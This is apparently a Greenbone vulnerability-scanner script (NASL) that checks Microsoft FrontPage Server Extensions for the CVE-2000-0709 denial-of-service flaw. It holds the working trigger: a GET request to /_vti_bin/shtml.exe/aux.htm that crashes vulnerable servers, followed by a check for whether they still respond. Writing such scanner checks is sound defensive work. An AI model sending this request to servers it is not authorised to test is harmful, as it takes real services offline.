Microsoft FrontPage Server Extensions MS-DOS Device Name DoS Vulnerability (Aug 2000)

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:microsoft:frontpage_server_extensions";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.902839");
  script_version("2025-08-28T05:39:05+0000");
  script_cve_id("CVE-2000-0709");
  script_tag(name:"cvss_base", value:"5.0");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:N/I:N/A:P");
  script_tag(name:"last_modification", value:"2025-08-28 05:39:05 +0000 (Thu, 28 Aug 2025)");
  script_tag(name:"creation_date", value:"2012-05-24 17:17:17 +0530 (Thu, 24 May 2012)");
  script_name("Microsoft FrontPage Server Extensions MS-DOS Device Name DoS Vulnerability (Aug 2000)");
  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web Servers");
  script_dependencies("gb_microsoft_frontpage_server_extensions_http_detect.nasl");
  script_require_ports("Services/www", 80);
  script_mandatory_keys("microsoft/frontpage_server_extensions/http/detected");

  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/5124");
  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/1608");
  script_xref(name:"URL", value:"http://www.securiteam.com/windowsntfocus/5NP0N0U2AA.html");
  script_xref(name:"URL", value:"http://archives.neohapsis.com/archives/bugtraq/2000-08/0288.html");

  script_tag(name:"summary", value:"Microsoft FrontPage Server Extensions is prone to a denial of
  service (DoS) vulnerability.");

  script_tag(name:"vuldetect", value:"Sends a crafted HTTP GET request and checks if the system is
  still responding afterwards.");

  script_tag(name:"insight", value:"The flaw is due to an error in the 'shtml.exe' component, which
  allows remote attackers to cause a denial of service in some components by requesting a URL whose
  name includes a standard DOS device name.");

  script_tag(name:"impact", value:"Successful exploitation will allow remote attackers to cause DoS
  conditions.");

  script_tag(name:"affected", value:"Microsoft FrontPage 2000 Server Extensions 1.1.");

  script_tag(name:"solution", value:"Update to Microsoft FrontPage 2000 Server Extensions 1.2 or
  later.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"VendorFix");

  exit(0);
}

include("http_func.inc");
include("host_details.inc");

if( ! port = get_app_port( cpe:CPE, service:"www" ) )
  exit( 0 );

if( ! get_app_location( cpe:CPE, port:port, nofork:TRUE ) )
  exit( 0 );

if( http_is_dead( port:port ) )
  exit( 0 );

checkurl = "/_vti_bin/shtml.exe";
vulnurl = "/_vti_bin/shtml.exe/aux.htm";

req = http_get( item:vulnurl, port:port );
http_send_recv( port:port, data:req );

req = http_get( item:checkurl, port:port );
res = http_send_recv( port:port, data:req );

# nb: FrontPage Server Extensions are not responding anymore which indicates that the system is
# affected
if( ! res ) {
  report = http_report_vuln_url( port:port, url:vulnurl );
  security_message( port:port, data:report );
  exit( 0 );
}

exit( 99 );